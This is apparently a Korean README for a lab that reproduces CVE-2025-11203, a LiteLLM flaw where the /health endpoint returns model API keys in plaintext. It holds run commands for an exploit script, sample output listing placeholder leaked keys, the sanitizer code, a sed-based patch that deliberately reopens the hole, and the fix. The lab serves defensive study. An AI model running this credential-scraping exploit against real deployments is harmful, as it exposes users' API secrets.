
해당 취약점을 직접 재현하기 위한 코드
| Field | Value |
|---|
| CVE | CVE-2025-11203 |
| ZDI ID | ZDI-25-929 (ZDI-CAN-26585) |
| CVSS v3.0 | 3.5 (LOW) — AV:N/AC:L/PR:L/UI:R/S:U/C:L/I:N/A:N |
| CWE | CWE-200 (Exposure of Sensitive Information to an Unauthorized Actor) |
| Affected | LiteLLM < 1.63.14 |
| Fixed | v1.63.14+ (_clean_endpoint_data() 전면 적용) |
| Published | 2025-10-29 |
| Discovered by | David Fiser & Alfredo Oliveira — Trend Micro Security Research |
| Reported to vendor | 2025-03-25 |
| Links | ZDI-25-929 • NVD • GHSA-w4vf-cc4x-mpjq |
LiteLLM의 /health 엔드포인트는 설정된 모든 모델의 건강 상태를 반환하는 데 사용됩니다. 일반적으로 _clean_endpoint_data()
함수는 건강 검사 응답에서 민감 필드(api_key, x-api-key 등)를 제거해야 합니다.
그러나 v1.63.14 이전에는 이 정리 함수가 특정 코드 경로에서 실행되지 않거나 불완전하게 실행되어, 모델 설정의 API Key가 건강 검사 응답에 평문으로 반환되었습니다.
| 엔드포인트 | 메서드 | 설명 |
|---|---|---|
/health | GET | 모든 모델의 건강 상태 반환 |
/health/liveliness | GET | 활성 확인 |
/health/readiness | GET | 준비 상태 확인 |
인증된 사용자는 건강 검사 인터페이스를 통해 다음을 획득할 수 있습니다:
# 1. 취약 버전 LiteLLM 실행
docker compose up -d
# 2. 의존성 설치
pip install -r requirements.txt
# 3. 익스플로잇 스크립트 실행
python3 exploit/exploit.py --target http://localhost:4000 --key sk-litellm-master-key
# 4. 전체 응답 확인
python3 exploit/exploit.py --target http://localhost:4000 --key sk-litellm-master-key --verbose
# 5. (선택 사항) 수정 버전 확인
docker compose --profile fixed up -d
python3 exploit/exploit.py --target http://localhost:4001 --key sk-litellm-master-key --fixed
======================================================================
[VULNERABLE] CVE-2025-11203 — Health Endpoint API Key Leak
======================================================================
Target : http://localhost:4000
API Key : sk-litellm-master-key...
Endpoint : /health
[*] Step 1: Query /health (this may take ~60s while LiteLLM probes upstream models)...
HTTP 200 — OK
[*] Step 2: Scanning for leaked credentials...
[🔥] LEAKED CREDENTIALS FOUND: 3 item(s)!
Path : unhealthy_endpoints[0].api_key
Field : api_key
Value : sk-this-is-a-leaked-openai-key...cdef123456 (len=43)
Path : unhealthy_endpoints[1].api_key
Field : api_key
Value : sk-another-leaked-key-789012xy...-789012xyz (len=31)
Path : unhealthy_endpoints[2].api_key
Field : api_key
Value : sk-ant-anthropic-leaked-key-xx...-key-xxxxx (len=33)
Models checked: 3
Credentials leaked: 3
[🔥] VULNERABILITY CONFIRMED: API keys exposed via /health!
Note: Step 1 takes ~60s because LiteLLM probes each upstream model (fake keys cause each connection to time out). The leaked keys appear under
unhealthy_endpointssince the fake keys can't actually connect to OpenAI/Anthropic.
수정 버전에서는 유출 거부:
======================================================================
[FIXED] CVE-2025-11203 — Health Endpoint API Key Leak
======================================================================
No API keys found in response.
[+] Expected: keys sanitized by _clean_endpoint_data()
취약점은 litellm/proxy/health_check.py의 _clean_endpoint_data() 함수에 있으며,
ILLEGAL_DISPLAY_PARAMS 목록을 통해 api_key 등 민감 필드를 필터링합니다:
ILLEGAL_DISPLAY_PARAMS = [
"messages",
"api_key",
"prompt",
"input",
"vertex_credentials",
"aws_access_key_id",
"aws_secret_access_key",
]
def _clean_endpoint_data(endpoint_data: dict, details: Optional[bool] = True):
return (
{k: v for k, v in endpoint_data.items() if k not in ILLEGAL_DISPLAY_PARAMS}
if details is not False
else {k: v for k, v in endpoint_data.items() if k in MINIMAL_DISPLAY_PARAMS}
)
본 데모에서는 sed를 사용하여 ILLEGAL_DISPLAY_PARAMS에서 "api_key"를 제거하여,
/health 응답이 원본 모델 설정을 반환하도록 하여 이 정리 함수가 특정 코드 경로에서 우회되는 상황을 시뮬레이션했습니다.
CVE-2025-11203/
├── README.md # This file
├── docker-compose.yml # Vulnerable + fixed LiteLLM
├── litellm_config.yaml # Config with 3 models + API keys
├── requirements.txt # Python dependencies
├── litellm-vuln/
│ └── Dockerfile # pip install "litellm[proxy]==1.61.0" + patch
├── exploit/
│ └── exploit.py # Main exploit script
├── docs/
│ └── advisory.md
└── screenshots/
v1.63.14에서 수정되었으며, _clean_endpoint_data()가 모든 건강 검사 코드 경로에서 올바르게 호출되도록 보장합니다.
/health 엔드포인트의 액세스 출처 제한Disclaimer: This content is provided for educational purposes and authorized security testing only.